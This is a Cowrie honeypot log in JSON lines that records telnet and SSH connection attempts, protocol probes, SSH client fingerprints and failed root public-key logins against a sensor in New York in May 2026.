{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10848,"dst_ip":"10.17.0.5","dst_port":23,"session":"23d7d708ef29","protocol":"telnet","message":"New connection: 34.52.131.195:10848 (10.17.0.5:23) [session: 23d7d708ef29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:03.097170Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:03.186600Z","src_ip":"80.94.92.186","session":"0e1c87bee375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10852,"dst_ip":"10.17.0.5","dst_port":23,"session":"d993b282b117","protocol":"telnet","message":"New connection: 34.52.131.195:10852 (10.17.0.5:23) [session: d993b282b117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:03.251292Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10866,"dst_ip":"10.17.0.5","dst_port":23,"session":"8da8647abe2e","protocol":"telnet","message":"New connection: 34.52.131.195:10866 (10.17.0.5:23) [session: 8da8647abe2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:03.405321Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10874,"dst_ip":"10.17.0.5","dst_port":23,"session":"82d482e099aa","protocol":"telnet","message":"New connection: 34.52.131.195:10874 (10.17.0.5:23) [session: 82d482e099aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:03.559854Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10886,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ab7aa1ef1ab","protocol":"telnet","message":"New connection: 34.52.131.195:10886 (10.17.0.5:23) [session: 0ab7aa1ef1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:03.713617Z"}
{"eventid":"cowrie.session.closed","duration":0.0047070980072021484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:03.718203Z","src_ip":"34.52.131.195","session":"0ab7aa1ef1ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10892,"dst_ip":"10.17.0.5","dst_port":23,"session":"69f447fb1e62","protocol":"telnet","message":"New connection: 34.52.131.195:10892 (10.17.0.5:23) [session: 69f447fb1e62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:03.867550Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10900,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea5735a3ceb3","protocol":"telnet","message":"New connection: 34.52.131.195:10900 (10.17.0.5:23) [session: ea5735a3ceb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:04.021647Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 9572","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 9572] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:04.027173Z","src_ip":"34.52.131.195","session":"ea5735a3ceb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.9092068672180176,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:05.930745Z","src_ip":"34.52.131.195","session":"ea5735a3ceb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.067937135696411,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:05.935363Z","src_ip":"34.52.131.195","session":"69f447fb1e62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.3789682388305664,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:05.938699Z","src_ip":"34.52.131.195","session":"82d482e099aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.5372376441955566,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:05.942415Z","src_ip":"34.52.131.195","session":"8da8647abe2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.694380760192871,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:05.945590Z","src_ip":"34.52.131.195","session":"d993b282b117","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.8518545627593994,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:05.948906Z","src_ip":"34.52.131.195","session":"23d7d708ef29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.019937515258789,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:05.961611Z","src_ip":"34.52.131.195","session":"88e2a53ab073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.1851630210876465,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:05.965810Z","src_ip":"34.52.131.195","session":"af2d41252234","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.348404884338379,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:05.974017Z","src_ip":"34.52.131.195","session":"2d0ba3773220","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6637208461761475,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:05.977409Z","src_ip":"34.52.131.195","session":"ca05ed8bc371","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.511014699935913,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:05.981061Z","src_ip":"34.52.131.195","session":"3f0a0a7a004c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8271093368530273,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:05.984482Z","src_ip":"34.52.131.195","session":"5b4eb8aa1126","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.986786365509033,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:05.987720Z","src_ip":"34.52.131.195","session":"944fd5262285","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.1495726108551025,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:05.992351Z","src_ip":"34.52.131.195","session":"01cf28888e5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.309694766998291,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:05.995860Z","src_ip":"34.52.131.195","session":"afc09eeb3a21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.470098495483398,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:05.999229Z","src_ip":"34.52.131.195","session":"595a9a400837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.782843828201294,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.002506Z","src_ip":"34.52.131.195","session":"1a8e1b9db6f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.016464948654175,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.005780Z","src_ip":"34.52.131.195","session":"6cc408ba52b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.329933166503906,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.009238Z","src_ip":"34.52.131.195","session":"43744d78062a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.1772849559783936,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.012820Z","src_ip":"34.52.131.195","session":"864959b649d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.264923810958862,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.016088Z","src_ip":"34.52.131.195","session":"a09cae2eecc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.496706485748291,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.020473Z","src_ip":"34.52.131.195","session":"da6e78fbb2a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.654934644699097,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.023812Z","src_ip":"34.52.131.195","session":"ef74e16f9402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.811494827270508,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.027085Z","src_ip":"34.52.131.195","session":"a210d8029ff4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.969644784927368,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.030365Z","src_ip":"34.52.131.195","session":"ac86dffdbb3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.128173828125,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.034033Z","src_ip":"34.52.131.195","session":"df7624e2f28e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.608337879180908,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.037122Z","src_ip":"34.52.131.195","session":"b0586bb213c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.127.133","src_port":26844,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4badd1ba8a8","protocol":"ssh","message":"New connection: 172.236.127.133:26844 (159.203.135.109:22) [session: e4badd1ba8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.250900Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.255964Z","src_ip":"172.236.127.133","session":"e4badd1ba8a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.259590Z","src_ip":"172.236.127.133","session":"e4badd1ba8a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.127.133","src_port":26852,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccbd02890b09","protocol":"ssh","message":"New connection: 172.236.127.133:26852 (159.203.135.109:22) [session: ccbd02890b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.303560Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u01c7\\x80\\xf0bL\\x95\\xfc$}a\\x90@\u0004y\\xb6\\xc2\\xd25i(\\x976\\xa1\u0001\\xb3v\"\\xa3=\u0001\\xf6\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u01c7\\x80\\xf0bL\\x95\\xfc$}a\\x90@\u0004y\\xb6\\xc2\\xd25i(\\x976\\xa1\u0001\\xb3v\"\\xa3=\u0001\\xf6\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.307921Z","src_ip":"172.236.127.133","session":"ccbd02890b09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:06.311464Z","src_ip":"172.236.127.133","session":"ccbd02890b09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":39966,"dst_ip":"159.203.135.109","dst_port":22,"session":"86f42b02e0e9","protocol":"ssh","message":"New connection: 103.91.246.101:39966 (159.203.135.109:22) [session: 86f42b02e0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:48.778501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:50.020864Z","src_ip":"103.91.246.101","session":"86f42b02e0e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:50.024505Z","src_ip":"103.91.246.101","session":"86f42b02e0e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:54.453165Z","src_ip":"103.91.246.101","session":"86f42b02e0e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.239.119.194","src_port":43556,"dst_ip":"10.17.0.5","dst_port":22,"session":"57853cc48105","protocol":"ssh","message":"New connection: 23.239.119.194:43556 (10.17.0.5:22) [session: 57853cc48105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:17.134530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:17.139245Z","src_ip":"23.239.119.194","session":"57853cc48105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:17.199655Z","src_ip":"23.239.119.194","session":"57853cc48105","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:a4:79:c1:f6:cc:b5:c8:ca:37:d2:f2:ab:dd:dc:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC9KC5ljaFfdv2Dj4qyTzw7KNTkreCdEltEBy/pAKdZijmfc0wOQXaNW2VKlIkmU3zxXX9e1cLMGG+eg1OhkE62Ck4hrL1l+xutIcVn9PIOSEcTbAHDiSN3ev1OVgCqzi7mMkUab4zqGS8Q4J/GexrfeR6MVJ0tWpG6mpy78Bec2KvjmtnGps3j01a3IaFsAQ48EDjdyin3+RBH2V4WkN0CkWHzqPUR5+mf39tscir9QIti5Mf/iXTwiqsBttcnJORLxcLACupg4f1ipQ2SvSWkzsb/2mG6oxmIFYyhg4ueU1r6w41Ypxpm6EumhGfCtNDruPOPymCbOVkQS/7ReEL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:a4:79:c1:f6:cc:b5:c8:ca:37:d2:f2:ab:dd:dc:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:17.481862Z","src_ip":"23.239.119.194","session":"57853cc48105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:a4:79:c1:f6:cc:b5:c8:ca:37:d2:f2:ab:dd:dc:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC9KC5ljaFfdv2Dj4qyTzw7KNTkreCdEltEBy/pAKdZijmfc0wOQXaNW2VKlIkmU3zxXX9e1cLMGG+eg1OhkE62Ck4hrL1l+xutIcVn9PIOSEcTbAHDiSN3ev1OVgCqzi7mMkUab4zqGS8Q4J/GexrfeR6MVJ0tWpG6mpy78Bec2KvjmtnGps3j01a3IaFsAQ48EDjdyin3+RBH2V4WkN0CkWHzqPUR5+mf39tscir9QIti5Mf/iXTwiqsBttcnJORLxcLACupg4f1ipQ2SvSWkzsb/2mG6oxmIFYyhg4ueU1r6w41Ypxpm6EumhGfCtNDruPOPymCbOVkQS/7ReEL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:17.485682Z","src_ip":"23.239.119.194","session":"57853cc48105","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:e5:e0:88:f0:de:00:f5:00:8c:14:73:74:28:c2:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0uOQSiH+90hVb3nZFwfbBjeiuk8zND81nNLXeAxLS9q5Hf86pSnB8YBGwx9JNMmr4pglnUCggKhZoVK98EKdWwD9D6fbwppKjjuzJZA1jdLntE55OMITEXgmmH9vH0g89pADBQI22aU9cTTCIL6rlUxrl8Y9yHq2brUuhsvtATpq7zK5OrMzTwrCAmZMGQGzvtkvbuQEdHkEFImAY+4ZzbcC9Q4U/OhkW2iu2UhSJSYqm9rmvj176mVHiNv1CKeSJFSxNFTzAJraPrkVbmmOzgSEQt4gbCzGZqSGmlzXb5rpWmvrn6ChFnf0tT2UQZVpZKVbsGwVSi12k/IY8j0xmpTC8+h2QVwIKPwyWq6T695od/wTWWTWqz8Va8sevKBVYIYLfhFNCERhG82BThszT9ReZ9hoRPamHw/dyE7HH6b8NT1CEvy8cVGrJQFrzKrLrtTqxZ3JPEUFL2SNkgrebE7m8zYw4wSff+BJ8A6vIiZAV1za8ho4s+ivqz7fOtlI6K2cDU1OfVyCTL2Dnm6VxBf0TxlDyJ6Uj2CIDt/JFjnrpY8a20MrSu5eTZqq8Dh5etCR84nxtejO+gO/hrEuMCKpfHnsI9xggDLy+PTOPaU3+4jeD/9dyEviPwTlDWcWyz/VzAz7mgtktn9brcJ01/Xqheb8ZnbszqooxjoSmxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:e5:e0:88:f0:de:00:f5:00:8c:14:73:74:28:c2:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:17.552821Z","src_ip":"23.239.119.194","session":"57853cc48105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:e5:e0:88:f0:de:00:f5:00:8c:14:73:74:28:c2:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0uOQSiH+90hVb3nZFwfbBjeiuk8zND81nNLXeAxLS9q5Hf86pSnB8YBGwx9JNMmr4pglnUCggKhZoVK98EKdWwD9D6fbwppKjjuzJZA1jdLntE55OMITEXgmmH9vH0g89pADBQI22aU9cTTCIL6rlUxrl8Y9yHq2brUuhsvtATpq7zK5OrMzTwrCAmZMGQGzvtkvbuQEdHkEFImAY+4ZzbcC9Q4U/OhkW2iu2UhSJSYqm9rmvj176mVHiNv1CKeSJFSxNFTzAJraPrkVbmmOzgSEQt4gbCzGZqSGmlzXb5rpWmvrn6ChFnf0tT2UQZVpZKVbsGwVSi12k/IY8j0xmpTC8+h2QVwIKPwyWq6T695od/wTWWTWqz8Va8sevKBVYIYLfhFNCERhG82BThszT9ReZ9hoRPamHw/dyE7HH6b8NT1CEvy8cVGrJQFrzKrLrtTqxZ3JPEUFL2SNkgrebE7m8zYw4wSff+BJ8A6vIiZAV1za8ho4s+ivqz7fOtlI6K2cDU1OfVyCTL2Dnm6VxBf0TxlDyJ6Uj2CIDt/JFjnrpY8a20MrSu5eTZqq8Dh5etCR84nxtejO+gO/hrEuMCKpfHnsI9xggDLy+PTOPaU3+4jeD/9dyEviPwTlDWcWyz/VzAz7mgtktn9brcJ01/Xqheb8ZnbszqooxjoSmxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:17.556336Z","src_ip":"23.239.119.194","session":"57853cc48105","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:db:d7:73:b4:7f:66:ea:5e:04:84:24:7b:0f:b9:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDhegqIdQGbE+2ZU1lx6lAhVpIwSlRqKRIbBRVGJarAb0KbIk/rZBVsHSXL/VQeXQBuiOOpaimQRzgELSzRh7g/BadGw0OnRwOkYt9DiVP+oSPdRkfFXydla2hYP9gLhHIw7qazg33a/USRbauar44+oZIdvEsfrnT1WkMfVhvi1TVC7DT7H1dsrrjP+718p7Mm/n4SMLv6LS7+e83I570bIDOBWLW2DaOy9YKRrkdDPSV1YnBU7+1GijJulW26++HHQ7SaQZFjvCUjlf2rfO5R16NaOUegD+aBTlJnk70njCS7sshTWJWRinkUYDubbZoPTfrZKD7EzUAkl54gxoh93RNNdn0dnIRr+0ifnycKHVS+SW9gf49R9UHJrzug9L5ix6UQSzo8WUyOTiutDbMt1sCkuc22hWsw/IBrk+E7B9CJYprw4blUmz/wjntwm63mFKYhC4WRLGrQYM7StRPMv4qE1x59NYmB3jWHwwvPywQ7Wace03exi7QvfxXELt8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:db:d7:73:b4:7f:66:ea:5e:04:84:24:7b:0f:b9:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:17.617363Z","src_ip":"23.239.119.194","session":"57853cc48105","protocol":"ssh"}
